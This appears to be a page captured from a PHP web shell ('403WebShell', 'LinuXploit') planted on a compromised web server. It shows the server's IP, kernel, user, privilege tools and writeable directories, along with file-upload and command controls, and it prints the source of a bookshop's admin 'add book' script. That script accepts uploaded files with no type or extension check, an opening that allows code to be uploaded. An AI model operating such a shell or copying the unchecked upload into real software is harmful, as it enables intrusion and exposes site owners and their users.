Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/book.gyaniguru.org/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/book.gyaniguru.org/admin/book-add.php
<?php
include 'includes/header.php';

$categories = get_all("SELECT * FROM categories");

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['add_book'])) {
    $title = $_POST['title'];
    $title_bengali = $_POST['title_bengali'];
    $author = $_POST['author'];
    $category_id = $_POST['category_id'];
    $price = $_POST['price'];
    $original_price = $_POST['original_price'];
    $pages = $_POST['pages'];
    $language = $_POST['language'];
    $isbn = $_POST['isbn'];
    $binding = $_POST['binding'];
    $description = $_POST['description'];
    $long_description = $_POST['long_description'];
    $is_featured = isset($_POST['is_featured']) ? 1 : 0;
    $is_new = isset($_POST['is_new']) ? 1 : 0;
    $is_upcoming = isset($_POST['is_upcoming']) ? 1 : 0;
    $release_date = !empty($_POST['release_date']) ? $_POST['release_date'] : null;
    $badge = $_POST['badge'];

     // Handle Main Image Upload
     $image = "images/placeholder.png";
     if (isset($_FILES['image']) && $_FILES['image']['error'] == 0) {
         $target_dir = "../images/";
         $filename = time() . "_" . basename($_FILES["image"]["name"]);
         $target_file = $target_dir . $filename;
         if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
             $image = "images/" . $filename;
         }
     }
     
     // Handle Additional Images Upload
     $additional_images = [];
     if (isset($_FILES['additional_images']) && $_FILES['additional_images']['error'][0] == 0) {
         $target_dir = "../images/";
         $count = count($_FILES['additional_images']['name']);
         for ($i = 0; $i < $count; $i++) {
             if ($_FILES['additional_images']['error'][$i] == 0) {
                 $filename = time() . "_" . $i . "_" . basename($_FILES["additional_images"]["name"][$i]);
                 $target_file = $target_dir . $filename;
                 if (move_uploaded_file($_FILES["additional_images"]["tmp_name"][$i], $target_file)) {
                     $additional_images[] = "images/" . $filename;
                 }
             }
         }
     }

    $sql = "INSERT INTO books (title, title_bengali, author, category_id, price, original_price, image, pages, language, binding, isbn, description, long_description, is_featured, is_new, is_upcoming, release_date, badge) 
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
    
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("sssiddsisssssiiiss", $title, $title_bengali, $author, $category_id, $price, $original_price, $image, $pages, $language, $binding, $isbn, $description, $long_description, $is_featured, $is_new, $is_upcoming, $release_date, $badge);
    
     if ($stmt->execute()) {
         $book_id = $stmt->insert_id;
         
         // Save additional images to database
         if (!empty($additional_images)) {
             foreach ($additional_images as $index => $image_url) {
                 $sort_order = $index;
                 $img_stmt = $conn->prepare("INSERT INTO book_images (book_id, image_url, sort_order) VALUES (?, ?, ?)");
                 $img_stmt->bind_param("iss", $book_id, $image_url, $sort_order);
                 $img_stmt->execute();
             }
         }
         
         echo "<script>window.location.href='books.php?msg=Book added successfully';</script>";
     } else {
         $error = "Error: " . $conn->error;
     }
}
?>

<div class="admin-card">
    <div class="d-flex align-items-center gap-3 mb-4">
        <a href="books.php" class="btn-action bg-secondary bg-opacity-20 text-secondary"><i class="bi bi-chevron-left"></i></a>
        <h5 class="m-0">Add New Book</h5>
    </div>

    <form action="" method="POST" enctype="multipart/form-data">
        <div class="row g-4">
            <div class="col-md-8">
                <div class="row g-3">
                    <div class="col-md-6">
                        <label class="form-label">Book Title (English)</label>
                        <input type="text" name="title" class="form-control" required placeholder="e.g., Jyotish Rahasya">
                    </div>
                    <div class="col-md-6">
                        <label class="form-label">Book Title (Bengali/Other)</label>
                        <input type="text" name="title_bengali" class="form-control" placeholder="e.g., জ্যোতিষ রহস্য">
                    </div>
                    <div class="col-md-6">
                        <label class="form-label">Author Name</label>
                        <input type="text" name="author" class="form-control" value="Pt. Shivaram Sharma" required>
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Category</label>
                        <select name="category_id" class="form-control" required>
                            <option value="">Select Category</option>
                            <?php foreach($categories as $cat): ?>
                                <option value="<?php echo $cat['id']; ?>"><?php echo $cat['name']; ?></option>
                            <?php endforeach; ?>
                        </select>
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Badge (Optional)</label>
                        <input type="text" name="badge" class="form-control" placeholder="e.g., Bestseller">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Price (Sale)</label>
                        <input type="number" name="price" class="form-control" required step="0.01">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Original Price</label>
                        <input type="number" name="original_price" class="form-control" required step="0.01">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Pages</label>
                        <input type="number" name="pages" class="form-control">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Language</label>
                        <input type="text" name="language" class="form-control" placeholder="e.g., Bengali">
                    </div>
                    <div class="col-md-3">
                        <label class="form-label">Binding</label>
                        <select name="binding" class="form-control">
                            <option value="Paperback">Paperback</option>
                            <option value="Hardcover">Hardcover</option>
                            <option value="Spiral">Spiral</option>
                        </select>
                    </div>
                    <div class="col-12">
                        <label class="form-label">Short Description</label>
                        <textarea name="description" class="form-control" rows="2" placeholder="Brief summary for shop page..."></textarea>
                    </div>
                    <div class="col-12">
                        <label class="form-label">Full Description</label>
                        <textarea name="long_description" class="form-control" rows="6" placeholder="Detailed content..."></textarea>
                    </div>
                </div>
            </div>
            <div class="col-md-4">
                <div class="mb-4">
                    <label class="form-label">Book Cover Image</label>
                    <div class="p-3 border border-secondary border-dashed rounded text-center" style="border-style: dashed !important;">
                        <i class="bi bi-cloud-arrow-up display-4 text-muted mb-2 d-block"></i>
                        <input type="file" name="image" class="form-control form-control-sm border-0" style="background:transparent" accept="image/*">
                        <small class="text-muted">Recommended: 400x600px</small>
                    </div>
                </div>
                <div class="mb-4">
                    <label class="form-label">ISBN Number</label>
                    <input type="text" name="isbn" class="form-control" placeholder="978-81-XXXX-XXX">
                </div>
                <div class="mb-4">
                     <label class="form-label">Additional Images (Optional)</label>
                     <div class="p-3 border border-secondary border-dashed rounded text-center" style="border-style: dashed !important;">
                         <i class="bi bi-images display-4 text-muted mb-2 d-block"></i>
                         <input type="file" name="additional_images[]" class="form-control form-control-sm border-0" style="background:transparent" accept="image/*" multiple>
                         <small class="text-muted">Recommended: 400x600px (You can select multiple images)</small>
                     </div>
                 </div>
                <div class="mb-4 p-3 rounded" style="background: var(--cream); border: 1px solid var(--cream-dark);">
                    <h6 class="mb-3" style="color: var(--maroon);">Book Attributes</h6>
                    <div class="form-check form-switch mb-2">
                        <input class="form-check-input" type="checkbox" name="is_featured" id="flexSwitchCheck1">
                        <label class="form-check-label" for="flexSwitchCheck1">Show in Bestsellers (Home)</label>
                    </div>
                    <div class="form-check form-switch mb-2">
                        <input class="form-check-input" type="checkbox" name="is_new" id="flexSwitchCheck2">
                        <label class="form-check-label" for="flexSwitchCheck2">Mark as New Arrival</label>
                    </div>
                    <div class="form-check form-switch mb-2">
                        <input class="form-check-input" type="checkbox" name="is_upcoming" id="flexSwitchCheck3" onchange="document.getElementById('releaseDateGroup').style.display=this.checked?'block':'none'">
                        <label class="form-check-label" for="flexSwitchCheck3">Mark as Upcoming</label>
                    </div>
                    <div id="releaseDateGroup" style="display:none">
                        <label class="form-label" style="font-size:0.85rem">Expected Release Date</label>
                        <input type="date" name="release_date" class="form-control form-control-sm">
                    </div>
                </div>
                <hr style="border-color: rgba(255,255,255,0.1)">
                <button type="submit" name="add_book" class="btn btn-gold w-100 py-3">
                    <i class="bi bi-save me-2"></i> SAVE NEW BOOK
                </button>
            </div>
        </div>
    </form>
</div>

<?php include 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit